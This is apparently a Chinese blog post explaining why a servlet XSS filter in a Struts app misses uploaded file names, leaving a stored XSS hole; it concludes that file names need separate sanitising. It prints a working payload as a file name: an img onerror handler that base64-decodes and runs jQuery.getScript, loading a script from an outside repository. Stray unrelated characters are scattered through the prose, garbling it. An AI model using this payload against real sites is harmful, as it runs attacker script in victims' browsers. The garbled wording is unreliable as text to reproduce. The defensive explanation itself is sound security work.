java處理xss漏洞的方法一般是配個(gè)filter,例如:
chain.doFilter(new XssHttpServletRequestWraper((HttpServletRequest) request), response);
寫(xiě)個(gè)HttpServletRequestWrapper的子類(lèi)XssHttpServletRequestWraper,重寫(xiě)getParameter等方法(過(guò)濾),封裝request,然后繼續(xù)執(zhí)行filter鏈。(這部分會(huì)在之后會(huì)寫(xiě)一篇說(shuō)明)
但是文件名獲取不會(huì)走新寫(xiě)的request包裝包裝器類(lèi)疏橄,如果不加處理闰集,存在存儲(chǔ)型xss漏洞桨螺。
例如:
文件名:<img src=x id=alF1ZXJ5LmdldFNjcmlwdCgiaHR0cHM6Ly9jb2RpbmcubmV0L3UveWFuZ3hpYW9kaS9wL3Rlc3QxL2dpdC9yYXcvbWFzdGVyLzMuanMiKQ onerror=eval(atob(this.id))>2.png"
atob是base64解碼方法恰梢,解碼之后jQuery.getScript("https://coding.net/u/yangxiaodi/p/test1/git/raw/master/3.js")
如果沒(méi)有得到過(guò)濾,前端獲取到文件名渲染時(shí)不經(jīng)過(guò)轉(zhuǎn)義(服務(wù)器存文件時(shí)未改名字)梗掰,會(huì)執(zhí)行js腳本導(dǎo)致xss攻擊嵌言。
下文以struts為例說(shuō)明
流程:1.走自己寫(xiě)的xssfilter,封裝request及穗。?
? ? ? ? ? 2.走struts的filter dispatcher摧茴,dofilter方法中會(huì)調(diào)用prepareDispatcherAndWrapRequest方法,prepare方法中根據(jù)contentType為multipart/form-data埂陆,使用MultiPartRequestWrapper封裝request. 其他情況用StrutsRequestWrapper封裝
?3.使用StrutsRequestWrapper封裝的情況下苛白,調(diào)用getParameter,gerHeader等方法焚虱,都會(huì)經(jīng)過(guò)自己寫(xiě)的filter類(lèi)的购裙。
4.MultiPartRequestWrapper?
public StringgetParameter(String name) {
? ? return ((multi ==null) || (multi.getParameter(name) ==null)) ?super.getParameter(name) :multi.getParameter(name);
}
其中multi中包含文件名的參數(shù),所以獲取文件名不會(huì)走自己寫(xiě)的filter類(lèi)鹃栽。
綜上躏率,文件名需要單獨(dú)處理。